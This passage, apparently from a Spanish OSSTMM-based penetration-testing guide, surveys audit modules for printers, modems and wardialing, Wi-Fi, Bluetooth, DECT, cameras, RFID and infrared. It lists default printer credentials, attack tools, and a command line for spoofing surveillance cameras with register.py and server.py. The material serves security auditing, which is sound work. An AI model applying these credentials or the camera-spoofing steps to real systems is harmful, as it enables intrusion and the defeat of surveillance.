todo lo enviado par posteriormente revisarlos, y proveer una buena fuente de información para los auditores. Sin embargo, casi ninguna impresora/fax multifunción lo hacen, incluso utilizando la mayoría de los clientes de fax (normalmente un cliente web) que viene con los multifunción. Además, la mayoría de los multifunción permiten que utilices sus clientes FTP y email desde tu puesto de trabajo (y no desde la propia máquina, lo cual ofrece al usuario malintencionado mayor discreción). Página 50

También sucede que, cualquiera puede ver los parámetros de configuración (dirección IP, nombre del servidor de correo, etc..), aunque el administrador no permita que los usuarios cambien los mismos, lo cual, sigue siendo útil para el usuario malintencionado. Aún así, es poco común que los encargados de éstas máquinas se preocupen de de denegarlo vía el navegador web el FTP y telnet (muchos de los usuarios ni siquiera sabrán que es telnet). Siendo así, cualquiera puede cambiar las direcciones IP, las mascaras de red, o la puerta de acceso de la impresora para deshabilitarlo, o incluso crearse una forma de evadir firewalls, por ejemplo. Otro punto interesante, es la gran capacidad de almacenaje que tienen, pues almacenan todo lo que se va imprimiendo, escaneando, emails etc... Por último, comentar algunos ejemplos de fallos encontrados en el modelo de Imagistics DL370: 1.Contiene 3 cuentas administrativas y contraseñas. Para consola, navegador web y telnet. La consola no está activada por defecto. Las 3 cuentas tienen por defecto el login/contraseña como: adm/adm, aunque cada proveedor es posible que cambie esto antes de instalarlo. 2.Las funciones de administración requieren una contraseña, aunque una vez introducida la contraseña se almacena en la URL en texto sin cifrar, y puede ser recuperado fácilmente. 3.Si se guardan los parámetros de configuración en el disco duro, y abres el fichero .bin con algún editor de texto, aparece también la contraseña del admin, y solo se necesita permiso de usuario para leerlo. 4.No puede deshabilitarse la función del navegador web para la administración, por lo que los fallos 2 y 3 siempre estarán disponibles.

4. Testeo de Módems La técnica más importante que se utiliza para comprometer la seguridad de los módems, es la conocida como wardialing: Wardialing fue una técnica utilizada principalmente en las décadas de los 80 y 90, cuando los módems de marcación por tonos eran la forma más común de conexión a internet. Consistía principalmente en hacer llamadas a una serie de números de teléfono automáticamente con el fin de encontrar módems conectados que permitieran la conexión con algún ordenador. El término toma su nombre de una película llamada Wargames, donde los protagonistas utilizaban una técnica conocida hasta entonces como daemon dialing, y la llamaban wardialing. A partir de entonces, pasó a llamarse wardialing, y es la que se emplea actualmente. Con la llegada de las nuevas tecnologías, unas herramientas quedan desfasadas, y otras aparecen, y dentro del wardialing, aparece una herramienta novedosa: WarVox(Figura 15: ).

Figura 15: Ésta es una herramienta actual que permite, mediante VoIP, realizar una identificación o clasificación de líneas de teléfono que expongan servicios a datos.

Página 51

VoIP es en realidad un amalgama de protocolos destinados a transmitir telefonía tradicional por medio de redes de datos. La práctica totalidad de los protocolos de VoIP existentes (h.323, SIP, IAX, SS7oIP, etc.) diferencian claramente la información de señalización (información de control de datos, por ejemplo pulsar el número 7, nueva llamada, etc), de la información “de voz” o sonido. En VoIP, los codecs que se emplean tienen como meta, el reducir al máximo el ancho de banda necesario para transmitir la llamada, permitiendo realizar el mayor número de llamadas concurrentes, a diferencia de las llamadas tradicionales de telefonía digital. Por ejemplo, en telefonía digital tradicional, un primario EuroISDN E-1 dispone de 30 canales de 64kb/s cada uno, lo cual permite la transmisión de 30 llamadas concurrentes. Sin embargo, el mismo primario puede ser configurado para la transmisión de datos mediante protocolo TCP/IP, en cuyo caso el primario ofrece un ancho de banda total de 2Mb/s. Sobre este canal de 2Mb/s el operador puede, utilizando VoIP cursar con facilidad más de 80 llamadas concurrentes . Esto es posible porque los codecs de VoIP están diseñados para limpiar, normalizar y simplificar el sonido antes de comprimirlo. Además, se realiza una compresión con pérdidas, ya que lo único que se busca, es que la información de habla que intercambian dos personas sea comprensible. Sin embargo, el empleo de estos codecs tan eficientes, presenta un grave problema cuando se pretende realizar un wardialing. O de forma más generalista, presentan un grave problema cuando se pretenden transmitir datos como parte del sonido de una llamada VoIP, pues estos codecs son generalmente incompatibles con la forma en la cual un módem tradicional codifica la información para su transmisión. Resumiendo: en la mayor parte de los casos, es improbable (que no imposible), la transmisión de datos de un módem por medio de VoIP. Así pues, dado que en un wardialing lo que se pretende es identificar y atacar servicios de datos como servidores de Acceso RAS, Servidores de Terminales, sistemas de control industrial, x.25, etc. tratar de emplear VoIP para conectar a estos sistemas seria un intento fútil. Así mismo, y para el escenario que nos ocupa, tratar de mantener muchas llamadas concurrentes a través de Internet empleando estos g.711 consumirá un ancho de banda considerable, además de introducir latencias muy superiores a las de los otros codecs, resultando una configuración poco práctica en la mayor parte de los escenarios. Después de esta introducción, es donde entra WarVox, una herramienta que nos ayudará en una de las fases mas tediosas del wardialing: la identificación de objetivos: Como paso previo en el wardialing, lo normal, es realizar una batería automatizada de llamadas a todos los números de teléfono a investigar para identificar en que líneas hay algún tipo de “servicio de datos” y cuáles son líneas de Voz. Sin embargo, muchas veces el rango de números de teléfono que suelen proporcionar algunas compañías suele ser bastante extenso. Además, es posible que estén distribuidos muy lejanamente entre sí, en distintas ciudades, comunidades autónomas, o incluso países, por lo que el coste económico y temporal de realizar esto a mano, suele ser imposible. Y he aquí el problema que WarVox intenta solucionar: permitir reducir el tiempo y coste necesario para realizar la identificación y clasificación de los números de teléfono a investigar. Empleando la VoIP que los operadores de telefonía ofrecen, a través de internet, de forma que podamos reducir el coste y llamadas concurrentes (tal y como hemos explicado anteriormente).

Página 52

Figura 16: Con WarVox, podemos introducir una lista (o una serie de rangos) a analizar, para que la herramienta llame a dichos números por medio de VoIP y nos proporcione una lista reducida de números “interesantes” sobre los cuales profundizar en un análisis más manual. Esto suele ser común en muchas de las formas de trabajar de los auditores, comenzar el análisis de uno de los módulos mediante la automatización antes de pasar al modo manual. Y no solo hablando de herramientas informáticas que lo realicen, sino también mediante el uso de scripts que hacen que los propios programas puedan trabajar en los aspectos más tediosos y largos, y que los propios auditores puedan dedicar su reducido tiempo a otros aspectos que no es posible automatizar. Volviendo al tema, a diferencia de las herramientas de wardialing tradicional, WarVox no “conecta” al otro extremo e interpreta los “datos” como seria habitual.. Por el contrario, WarVox lo que hace es grabar durante un tiempo determinado el sonido que “genera el otro extremo” tras descolgar, para más tarde analizarlo mediante transformaciones de Fourier y otros análisis matemáticos en busca de indicios de que el sonido corresponde a un módem, fax u otro servicio de datos. Una vez recopilados estos números de teléfono “interesantes”, ya se puede utilizar los módems tradicionales para marcar e investigar que se esconde tras la portadora remota, tal y como se viene haciendo en el Wardialing tradicional.

Sección E – Seguridad Wireless 1. Testeo de Radiación Electromagnética Este módulo raramente se realiza para una auditoría de empresa. Tiene más cabida dentro de entornos militares o inteligencia, donde se ha de estar seguro al 100% (o al menos, lo más seguro posible). Es un tipo de pruebas y verificaciones que resultan muy costosas de realizar, tanto por parte de un auditor, como por parte de alguien malintencionado, por lo que muy pocos auditores le Página 53

dedican mucho tiempo. Es mejor dedicar el escaso tiempo del que suele disponerse para recorrer el resto de módulos de la metodología. En este módulo, lo que se suele explorar, es la radiación emitida por los distintos dispositivos de los que dispone una empresa. Existen dispositivos, que son capaces de detectar desde una cierta distancia, la radiación que emite una pantalla de ordenador, por ejemplo, y mostrar las imágenes en otra pantalla. De esta forma, no es necesario tener contacto visual con la pantalla. También es posible recoger radiación de impresoras, módems, teléfonos móviles y tratar de mostrar lo que han recogido, o están transmitiendo, aunque muchas veces, aparece demasiado ruido como para que pueda entenderse, o simplemente utilizando coberturas metálicas (en bases militares de EEUU utilizan equipamiento especialmente diseñado contra estas fugas de información, catalogados como Tempest). También es posible reducir las probabilidades de ser detectado, utilizando configuraciones de pantalla con bajo contraste, o emitir ruido blanco (la típica niebla de la televisión es ruido blanco) para que los receptores no sean capaces de distinguirlo de la señal original.

2. Testeo de Redes Wireless Sigue habiendo muchas, aunque cada vez menos, puntos de acceso wireless sin ningún tipo de protección, o con protección Wired Equivalent Privacy (WEP). Durante mucho tiempo, ha sido (y aún sigue siendo) un proveedor de internet para mucha gente que o bien no tiene punto de acceso propio, o que está de paso. Manuales para realizar tests de penetración en redes wireless hay muchos por la red, cada uno trabajando de una forma distinta. Incluso se han llegado a publicar distribuciones linux adaptadas para realizar este tipo de ataques (por ejemplo, la archiconocida WifiSlax o Backtrack). Esta es la razón de que no se incluya un ejemplo paso a paso, por lo que simplemente se citarán algunas de las herramientas más populares. Antes de empezar un test de penetración contra una red wireless, es importante entender que las vulnerabilidades asociadas con las WLANs. El estándar 802.11 fue desarrollado como un estándar abierto, es decir, que la facilidad de acceso y conexión fueron sus principales objetivos. Sin embargo, la seguridad no fue una de sus prioridades, y los mecanismos de seguridad que se desarrollaron fueron pensados más adelante, casi a modo de parche. Cuando la seguridad no es introducida como parte del mismo concepto de desarrollo, suele ocurrir que no ofrecen una solución robusta, por lo que en las redes Wireless, éste es un asunto bastante preocupante. Es por esto, por lo que muchas veces, debemos preguntarnos ¿es realmente necesario utilizar wireless en lugar de cable? ¿Es realmente necesario tener tanto alcance, o podemos reducirlo? Existen dos tipos básicos de vulnerabilidades en WLAN: las que son resultado de una mala configuración, y las vulnerabilidades por mala codificación (igual que cuando hablábamos de las contraseñas). Los problemas de configuración son las responsables de muchas vulnerabilidades asociadas con WLANs. Esto es porque las redes wireless son fáciles de instalar, y muchas veces se despliegan con protecciones pobres o inexistentes. Una WLAN abierta, una que esté con la configuración por defecto, requiere casi nada de trabajo para un penetration tester. Simplemente configurando el adaptador WLAN para asociarse con redes abiertas, permite el acceso a las mismas. Una situación similar existe cuando se utilizan medidas de seguridad inadecuadas. Las WLANs muchas veces se instalan por mandos superiores, y se requiere rapidez, por lo que los administradores simplemente ocultan los puntos de acceso y/o habilita el filtro por dirección MAC. Ninguna de estas medidas provee una seguridad real, y un tester puede deshacerse de ellas fácilmente. Cuando un administrador instala la WLAN con uno de los mecanismos de codificación disponibles, Página 54

un tester puede muchas veces introducirse también en la red, gracias a las vulnerabilidades inherentes a la codificación utilizada. Tanto WEP como WPA (Wi-Fi Protected Access) son vulnerables a ataques de diccionario offline, con WPA siendo objetivo de cada vez ataques más rápidos en el año pasado. Como herramientas populares para este campo: •kismet:

sniffer o husmeador de paquetes y sistema de detección de intrusiones para WLANs. Se diferencia del resto de sniffers inalámbricos en que su funcionamiento es pasivo, es decir, lo hace sin enviar ningún paquete detectable. •aircrack-ng: software que consiste en un sniffer y crackeador de WEP, y WPA/WPA2-PSK. Incluye, entre otras aireplay-ng, airodump-ng entre otras •macchanger: utilidad linux/unix para cambiar la dirección MAC de una tarjeta por otra específica. Ideal para MAC Spoofing. •airodump-ng: sniffer de paquetes, que los clasifica en ficheros PCAP o IVS, y muestra información sobre redes. •aireplay-ng: Inyector de paquetes. Sirve para obligar a los puntos de acceso a que nos envíen más paquetes, y poder aumentar el tráfico del punto de acceso, de tal forma que podamos recoger más información para tratar de romper la clave. Solo funciona con algunas tarjetas.

3. Testeo de Redes Bluetooth El nombre de Bluetooth (diente azul) proviene del apodo del rey Harald de Dinamarca, que gobernó desde 958 hasta 986 aproximadamente, y también rey de Noruega alrededor de 970. La compañía Ericsson puso el nombre de Bluetooth a una nueva tecnología en memoria de Harald, que unificó Dinamarca y Noruega poniendo fin a la era vikinga, pues una de los objetivos de esta tecnología era el poder unificar varios dispositivos. Bluetooth, es una especificación industrial para Redes Inalámbricas de Área Personal (WPANs) que posibilita la transmisión de voz y datos entre diferentes dispositivos mediante un enlace por radiofrecuencia segura y globalmente libre (2,4 GHz.). Los principales objetivos que se pretenden conseguir con esta norma son: • • •

Facilitar las comunicaciones entre equipos móviles y fijos. Eliminar cables y conectores entre éstos. Ofrecer la posibilidad de crear pequeñas redes inalámbricas y facilitar la sincronización de datos entre equipos personales.

Los dispositivos que con mayor intensidad utilizan esta tecnología pertenecen a sectores de las telecomunicaciones y la informática personal, como PDA, teléfonos móviles, ordenadores portátiles, ordenadores personales, impresoras o cámaras digitales. Este módulo de la OSSTMM, se encarga principalmente de comprobar las redes conocidas como piconets : Una piconet puede constar de dos a ocho dispositivos unidos por Bluetooth. En una piconet, habrá siempre un maestro y los demás serán esclavos. El periférico como maestro: Página 55

•Se

encarga de escoger el hop adecuado para mantener el enlace.

•Establece

conexiones en las que un paquete de datos ocupa una ranura para la emisión y otro para la recepción que pueden ser usados alternativamente, dando lugar a un esquema de tipo TDD (Time Division Duplex). •La

secuencia única de salto de frecuencia del canal está determinado por la identidad del maestro de la piconet (un código único para cada equipo), y por su frecuencia de reloj. Para que una unidad esclava pueda sincronizarse con una unidad maestra, ésta debe añadir un ajuste a su propio reloj nativo y así poder compartir la misma portadora de salto. Mucha gente no es consciente de la seguridad en, por ejemplo sus teléfonos móviles. Siempre que piensan en seguridad de las tecnologías de la información, piensan únicamente en sus ordenadores personales, pero dentro de los teléfonos, se puede encontrar montones de información personal o confidencial (sobre todo si es el teléfono de algún ejecutivo). Una herramienta interesante, es Super Bluetooth Hack, una herramienta Java para teléfonos Ericsson y Nokia. Entre otras acciones disponibles para realizar contra un teléfono remoto, incluye: •Leer

mensajes SMS •Leer contactos •Cambio de perfil •Desempeñar melodía (incluso si el teléfono está en silencio) •Reproducir canciones •Reiniciar el teléfono •Apagar el teléfono •Restaurar la configuración de fábrica •Cambio de volumen de timbre •Llamada desde otro teléfono Cabe notar, que se necesita que el teléfono remoto nos de permiso para emparejar los teléfonos. Sin embargo, esto puede no ser demasiado dificil utilizando alguna técnica de ingeniería social. Existen muchas otras herramientas: •Blooover:

herramienta que funciona sobre teléfonos con J2ME habilitado. Es una herramienta de auditoría que puede ser utilizado para comprobar si sus teléfonos son vulnerables •BlueBug: BlueBug es el nombre de un agujero de seguridad en algunos teléfonos móviles con Bluetooth. Explotando este agujero, permite descargar agendas de contacto y listas de llamadas enviando mensajes SMS al teléfono atacado entre otras cosas. •BlueFish: es un sistema de vigilancia que busca la presencia de dispositivos Bluetooth y sus usuarios. BlueFish escanea constantemente en busca de dispositivos con Bluetooth activado. Cuando encuentra un nuevo dispositivo, el programa saca una captura del área donde fue localizado el dispositivo, y cataloga toda la información disponible del dispositivo. Si vuelve a encontrar alguna vez ese mismo dispositivo, se le enviará la última imagen capturada del mismo mediante Bluetooth. Todas las imágenes son marcadas con el nombre del dispositivo y la hora cuando fue observado por última vez. Según va pasando el tiempo, se construye un perfil de cada dispositivo, de forma que es posible hacerse una idea de las costumbres de la persona que frecuenta el lugar.

Página 56

•Bluetooth

Phone Book Dumper: crea una copia de seguridad del Nokia 6310 vía Bluetooth. También funciona en algunos móviles Ericsson. Los datos se escriben en formato XML estándar. No es necesario introducir ningún dato del objetivo ni emparejamiento, simplemente utiliza comandos GSM AT a través de conexiones RFCOMM (Logical Link Control and Adaptation Protocol o en español: Protocolo de control y adaptación del enlace lógico). •FreeJack: la principal aplicación de este programa es el enviar mensajes anónimos a dispositivos con Bluetooth activado dentro de su rango Como vemos, es un campo bastante estudiado (y por lo tanto, también por parte de hackers malintencionados), por lo que siempre es aconsejable mantener los teléfonos móviles actualizados, y no activar Bluetooth mas que en los momentos que sea necesario.

4. Testeo de Dispositivos Inalámbricos Esta sección estudia cuan seguros son los dispositivos inalámbricos de entrada de un ordenador. Cada vez más, los usuarios buscan comodidad dentro del hardware que compran, y buscan el deshacerse de los cables. Compran ratones, teclados, micrófonos inalámbricos etc... sin embargo, no se es consciente, de que muchas veces esto puede suponer una vía de entrada para los hackers más experimentados. Existen métodos para capturar, por ejemplo, aquello que se está tecleando en un teclado, de forma, que puedan leerse las contraseñas que escribe el usuario, por ejemplo. Alguna vez ha sucedido que, trabajando con dos ordenadores adyacentes, sus ratones inalámbricos ha interferido el uno con el otro, de forma que trabajando con uno de ellos, el puntero de la pantalla del otro ordenador también se movía. Esto suele suceder en alguna ocasión, generalmente con modelos de la misma marca y/o modelo. Lo mismo ocurre con los teclados, que pulsando una tecla, aparecen los caracteres en ambos monitores. Sucede, que interfieren el uno con el otro, y puede solucionarse sincronizando uno de ellos para que deje de interferir. Sin embargo, esto puede llamar la atención a algún experto en seguridad (ya sea auditor o hacker malintencionado). A finales de 2007, se hizo público el hallazgo de dos investigadores de una compañía suiza llamada Dreamlab Technologies. Según sus afirmaciones, los teclados inalámbricos Microsoft codifican de una forma tan débil la información que envían que es posible no sólo ver y almacenar en tiempo real cada tecla que fue presionada, sino también interferir en la comunicación y emular a uno de estos teclados, enviando caracteres en su nombre. Estos teclados, que suelen trabajar a una frecuencia de radio de 27 MGHz, envían durante el proceso de emparejamiento la clave con la que van luego a cifrar toda la comunicación en plano y al descubierto, de forma tal que si se tiene la oportunidad de captar este proceso ni siquiera hace falta descifrar nada. Y si no es así, no importa; la codificación se realiza mediante una simple operación XOR, y la clave generada al azar en cada emparejamiento sólo varía en un byte, por lo que sólo hay 256 combinaciones posibles para probar. Los investigadores fueron capaces de capturar las teclas que se presionan en varios teclados simultáneamente, en un radio de 10 metros, ya sea en el mismo cuarto o desde otra habitación, pero señalan que utilizando antenas direccionales el alcance puede extenderse fácilmente. Por lo tanto, y a pesar de la comodidad que nos puedan ofrecer los medios inalámbricos dentro del ámbito de los periféricos de entrada del ordenador, lo más seguro es utilizar el cable. No obstante, Página 57

realizar la operación de captura de lo que se escribe en un teclado, es una operación difícil que pueden hacer unos pocos, por lo que no debemos preocuparnos a nivel de usuario. Ni siquiera a nivel de empresa (depende de qué empresa), puesto que todos sabemos, que siempre podemos encerrarnos en un búnker a trabajar (y esto probablemente tampoco fuera 100% seguro), pero hay que encontrar un equilibrio entre la seguridad y la funcionalidad.

5. Testeo de Dispositivos Inalámbricos de Mano En este módulo, se tratan todos los dispositivos inalámbricos como un todo. Son muchos los tipos que existen, por lo que en esta sección, se engloban como un conjunto, y se tratan por igual. Lo más importante, es sobre todo el educar al usuario, para que sea responsable y consciente de los peligros que suponen este tipo de dispositivos para la seguridad. A continuación se expone algunas de las vulnerabilidades específicas de los dispositivos inalámbricos e inalámbricos de mano: •Todas

las vulnerabilidades que existen para las redes cableadas tradicionales se aplican también a las inalámbricas. •Puede ganarse acceso no autorizado a la red a través de conexiones inalámbricas eludiendo las protecciones del firewall. •La información que no sea codificada (o que es pobremente codificada) puede ser interceptada entre dos dispositivos inalámbricos y leída. •Pueden dirigirse ataques de denegación de servicio contra conexiones o dispositivos inalámbricos. •Puede suplantarse la identidad de usuarios legítimos en redes internas o externas corporativas. •Datos importantes pueden corromperse durante una sincronización incorrecta. •Es posible que pueda violarse la privacidad de los usuarios legítimos y ser capaces de seguir sus movimientos. •Es posible instalar equipamiento no autorizado (por ejemplo, equipos de visitantes) para ganar acceso a información privada. •Los dispositivos de mano puede ser fácilmente robados y pueden revelar información confidencial. •Pueden extraerse datos sin que sea detectado de dispositivos mal configurados. •Los virus, u otros códigos maliciosos pueden corromper los datos de un dispositivo inalámbrico y después, introducirse en una red cableada. •Los virus u otros códigos maliciosos pueden a través de conexiones inalámbricas conectar con otras compañías u organizaciones, siendo estas últimas el objetivo de su ataque, de forma que sea más difícil de detectarse. •Los intrusos pueden ganar conectividad a la red desde fuera o dentro del edificio donde esté la red, o ganar, incluso, control de administración de las redes y sabotear las conexiones. •Puede realizarse ataques internos vía transmisiones ad-hoc.

6. Testeo de Comunicaciones Inalámbricas En este módulo, se estudia la seguridad que ofrecen los dispositivos inalámbricos de comunicaciones (cuyo mejor ejemplo, son los teléfonos inalámbricos) de la empresa que se audita. Se estudia sobre todo, interferencias y alcance de los dispositivos inalámbricos. Este es otro de los módulos que las organizaciones no suelen tener en cuenta, ya que no forma parte Página 58

de la red de ordenadores. Sin embargo... ¿que precio tiene el poder escuchar conversaciones telefónicas de los competidores, por ejemplo? Concretamente, se ha conseguido hacer con 23€: El sistema DECT (patentado en España en 1993 para ser utilizado en Europa) es utilizado para comunicaciones sin cables de voz y datos de forma segura en distancias cortas. Algunas de sus aplicaciones son la comunicación de teléfonos inalámbricos con sus estaciones base, aunque existen más, como la apertura de puertas de garaje entre otras. Siendo el protocolo públicos, hay dos aspectos que no lo son y solo los fabricantes tienen acceso a los mismos: El algoritmo de autenticación DASS y el sistema de cifrado DSC. El algoritmo DASS ha sido descifrado mediante ingeniería inversa, y como muchos teléfonos DECT no llevan habilitada la codificación DSC, es posible capturar el audio o suplantar la estación base donde se conecta el teléfono. Ahora deDECTed.org ha anunciado que en los próximos días publicará una implementación en C de la codificación DSC, que ha sido posible desarrollar gracias a la ingeniería inversa de hardware. En el Chaos Communication Congress, demostraron como volcar a disco una conversación telefónica, utilizando para ello la tarjeta PCMCIA COM-ON-AIR, para la que han desarrollado drivers para Linux y que se puede conseguir por alrededor de 23 €. Actualmente se cree que hay 30 millones de teléfonos que utilizan DECT en Alemania, por lo que estaríamos ante un grave problema de privacidad.

7. Dispositivos de Vigilancia Inalámbricos En este módulo, la atención se centra en dispositivos que sirvan de vigilancia, por ejemplo cámaras inalámbricas. Estas son muy fáciles de instalar, ya que no requiere cables. Además, se pueden instalar en lugares inaccesibles por la misma razón, y es por esto, por lo que muchas empresas deciden instalarlas. Sin embargo, comparten varios fallos de seguridad con sus análogas de cable: El primero de ellos, es el basado en la relación de confianza que existe entre el dispositivo y el donde está conectado. Es imposible de saber si la cámara en la otra punta es lo que debería ser. No existe ningún método implementado basado en IP para sistemas de vigilancia. El método de ataque es sencillo: desconectar la cámara de vigilancia, y conecta un portátil en su lugar. EL software de videovigilancia nunca podrá saber que la cámara ha sido reemplazada por un stream de video. Muchos de las soluciones implementadas para videovigilancia basadas en IP, están basadas en protocolos de descubrimiento básicos, como mdNS y UpnP. Ambos, trabajan con direcciones multicast, por lo que es posible falsificar tantas cámaras como queramos. De hecho, existen por la red scripts como register.py (http://www.gnucitizen.org/static/blog/2008/01/register.py) que registran una cámara del modelo AXIS206 en el sistema, mientras que el script server.py (http://www.gnucitizen.org/static/blog/2008/01/server.py) envía un stream de video en MJPEG. Para usarlos: Página 59

register.py [dirección MAC aquí] & server.py http://152.1.130.216/mjpg/video.mjpg # MJP video stream Podemos registrar tantas cámaras como queramos, de tal forma que simplemente se pueda causar caos, o hacer creer a los vigilantes que las cámaras estén mal situadas. Como último dato a resaltar, es el comentar que existen empresas que fabrican dispositivos que escanean en busca de cámaras automáticamente(Figura 17: )

Figura 17: El dispositivo de la Figura 17: concretamente ofrece: •Escanear •Alcanza

en busca de cámaras ocultas en menos de 5 segundos.

los 150 metros su exploración.

•Utilizada

por profesionales para buscar en edificios enteros. •Escanea frecuencias de 900 MHz a 2.52 GHz y busca un gran rango de cámaras incluyendo PAL/ NTSC, CCIR/EIA. Viendo estas características, cualquier persona entrenada (y con $499.95) puede sortear un sistema de vigilancia.

8. Dispositivos de Transacciones inalámbricas Esta sección se refiere en gran medida los dispositivos que se encuentran en las cajas registradoras de algunas tiendas. Son aquellas que se utilizan para leer los códigos de barras de los productos que se venden. Se suelen utilizar para poder mantener un inventario, llevar contabilidad etc... Se suele estudiar si realmente son necesarios, si están en concordancia con las políticas de empresa, ver si están actualizados los firmwares etc...

9. Testeo de RFID RFID (siglas de Radio Frequency Identification o identificación por radiofrecuencia) es un sistema de almacenamiento y recuperación de datos remoto que usa dispositivos denominados etiquetas, Página 60

transpondedores o tags (o etiquetas) RFID.

Figura 18: El propósito fundamental de la tecnología RFID es transmitir la identidad de un objeto (similar a un número de serie único, algo parecido a las direcciones MAC de las tarjetas de red) mediante ondas de radio. Esta tecnología ofrece una cantidad de ventajas, ya es una forma rápida y eficiente de realizar inventarios. Es posible detectar muchos de éstos simultáneamente, y si marcamos (por ejemplo los productos de una tienda), podemos saber cuantas existencias tenemos de un determinado objeto. Además, también es posible detectarlos por si van a salir o entrar de un recinto, lo cual podría ser útil para detectar hurtos en tiendas. Pero no solo eso. Los chips RFID están en todas partes, muchas empresas y laboratorios los usan como llaves de acceso, algunos coches los utilizan en vez de llaves, y como bien hemos dicho, tiendas y supermercados para realizar inventarios y sistemas antirrobo. Ahora, se está estudiando incluso el uso de los mismos para pasaportes, DNI, tarjetas de crédito, o a modo de poder introducir el historial clínico en los mismos pacientes (tal y como se viene haciendo para perros y gatos por parte de los veterinarios). La tecnología RFID data de antes de la segunda guerra mundial, cuando los Británicos colocaban transpondedores de radio en los aviones Aliados para ayudar a los sistemas de radar a distinguir entre amigos y enemigos. Los primeros chips fueron desarrollados en los laboratorios en los sesenta, y en la siguiente década, el gobierno de los EEUU los utilizó para autorizar a los camiones que entraban en Los Alamos National Laboratory y otras instalaciones de seguridad. Los chips comerciales se generalizaron en los ochenta, y los RFID se utilizaban para marcar propiedades difíciles de manejar tales como animales de granja(Figura 19: ) y coches de carretera. Pero, ha sido en estos últimos años, cuando el mercado de los RFID se han expandido, dirigidos por avances de las bases de datos informáticas y las bajadas de los precios de los chips. Ahora, docenas de compañías, como Motorola, Philips o Texas Instruments las fabrican en cantidades industriales.

Figura 19: Las etiquetas RFID se basan en la emisión de unos pocos bits de información a lectores electrónicos especializados. La mayoría de los chips RFID comerciales son emisores pasivos, lo cual significa que no llevan alimentación (como batería o pilas): envían una señal solamente cuando las ondas recibidas los alimentan con un “chorro” de electrones. Una vez alimentados, emiten su señal indiscriminadamente dentro de un cierto rango, normalmente de entre unos pocos centímetros a un par de metros. Los emisores activos, con alimentación interna, pueden enviar señales a cientos de Página 61

metros; estos son utilizados en, por ejemplo, algunos pagos de peaje automatizados de EEUU. Como medida de seguridad, las señales RFID pueden ser cifrados. Estos chips, que probablemente acaben siendo implantados en documentos de identidad, por ejemplo, son los candidatos ideales para ser codificados, y haciendo que sea más difícil para los lectores no autorizados recavar información. Pero los RFID comerciales (refiriéndonos por comerciales a los de los supermercados), no incluyen cifrados, ya que suele ser bastante caro: un chip RFID cifrado cuesta alrededor de 5$, lo cual no lo hace rentable muchas veces. Esto hace, que la mayoría de los RFID sean vulnerables a su clonación, o si el chip tiene áreas de memoria que permitan escritura, el insertarle datos. Siendo así, se permitiría el cambiar precios, por ejemplo, una opción muy atractiva para delincuentes.

10. Testeo de Infrarrojos La radiación infrarroja, radiación térmica o radiación IR es un tipo de radiación electromagnética de mayor longitud de onda que la luz visible, pero menor que la de las microondas. Consecuentemente, tiene menor frecuencia que la luz visible y mayor que las microondas. El nombre de infrarrojo significa por debajo del rojo pues su comienzo se encuentra adyacente al color rojo del espectro visible. Los infrarrojos se pueden categorizar en: • infrarrojo cercano (0,78-1,1 µm) • infrarrojo medio (1,1-15 µm) • infrarrojo lejano (15-100 µm) Infrared Data Association (IrDA) define un estándar físico en la forma de transmisión y recepción de datos por rayos infrarrojo. IrDA se crea en 1993 entre HP, IBM, Sharp y otros. Esta tecnología está basada en rayos luminosos que se mueven en el espectro infrarrojo. Los estándares IrDA soportan una amplia gama de dispositivos eléctricos, informáticos y de comunicaciones, permite la comunicación bidireccional entre dos extremos a velocidades que oscilan entre los 9.600 bps y los 4 Mbps. Esta tecnología se encuentra en muchos ordenadores portátiles, y en un creciente número de teléfonos celulares, sobre todo en los de fabricantes líderes como Nokia y Ericsson. El FIR (Fast Infrared) se encuentra en estudio, con unas velocidades teóricas de hasta 16 Mbps. En cuanto aspectos de seguridad, ofrece cada vez menos y menos atractivo desde el punto de vista de un atacante. Con la aparición de nuevas tecnologías como Bluetooth, wireless etc... los dispositivos que utilizan infrarrojos van disminuyendo. Además, se encuentran limitados por el espacio y los obstáculos. El hecho de que la longitud de onda de los rayos infrarrojos sea tan pequeña (850-900 nm), hace que no pueda propagarse de la misma forma en que lo hacen las señales de radio, por lo que un atacante necesitaría estar muy cerca, y siendo así, probablemente le sea más útil realizar el ataque por otros medios, ya que dispone de acceso físico al dispositivo. Existen redes infrarrojas que suelen estar dirigidas a oficinas o plantas de oficinas de reducido tamaño. Algunas empresas, van un poco más allá, transmitiendo datos de un edificio a otro mediante la colocación de antenas en las ventanas de cada edificio, aunque esto está cada vez menos extendido. Como ejemplos de qué se puede realizar desde el punto de vista de un atacante: Controlar televisiones u otros dispositivos que utilicen infrarrojos como mando a distancia. Quizás podría utilizarse como forma de denegación de servicio, o distraer a un posible vigilante. Página 62

Cambiar semáforos a verde. Algunos semáforos son manejados por infrarrojos, por lo que es posible manejarlos. Existen manuales por la red para construir dispositivos que realicen esto. Basta con teclear en cualquier buscador MIRT, e incluso lo venden en algunas web. Algunas puertas de garaje antiguas solían funcionar por infrarrojos, pero hoy en día la gran mayoría funcionan por radiofrecuencia. Por lo que vemos, que las implicaciones no son demasiadas debido al avance de las tecnologías (ya que las tecnologías inalámbricas favoritas son radiofrecuencia), pero debemos realizar algunas comprobaciones mínimas para poder evitar algún susto.

11. Revisión de privacidad En este módulo que cierra la sección inalámbrica de la OSSTMM. En esta concretamente, se estudia si es posible el sniffar (o husmear) las conexiones inalámbricas, en busca de datos que pudieran ser descifrados por un atacante.

Sección F – Seguridad Física En esta sección se revisan y comprueban condiciones y propiedades de la empresa desde un punto de vista mucho menos informático que el resto de la metodología. Generalmente, existe un experto dentro del equipo de auditores que será especialista en seguridad física, por lo que no se dedicará especial atención a este apartado. No obstante, se incluye una breve explicación de cada uno de los módulos a nivel informativo.

1. Revisión de Perímetro En este módulo se revisan todas las medidas de seguridad que existen para proteger los límites de la organización y sus activos. Se revisan medidas de protección tales como vallas, luces, muros etc...

2. Revisión de Monitorización En este módulo se revisan dispositivos de monitorización de los puntos de acceso. Mas que la revisión de los propios dispositivos, se busca el comprobar que lugares están monitorizados, si los dispositivos están correctamente situados. Es decir, si hay lugares sin vigilar, otros demasiado vigilados etc...

3. Testeo de Controles de Acceso En este módulo, se listan todos los lugares de acceso que tiene la organización físicamente hablando. Comprobando lo complejos que son, tipos de autenticación para darle privilegios de acceso a esa persona etc... Ejemplos podrían ser, el requerir una tarjeta de identificación que hay que mostrar a un vigilante jurado, escáner de retina, tipos de alarma etc...

4. Revisión de Respuesta ante Alarma Aquí se comprueba el tipo de respuestas que tiene una organización ante una alarma. Se revisa qué personas deberían estar involucradas ante qué alarmas, y cómo deberían de actuar ante los distintos tipos de alarma que pueden activarse

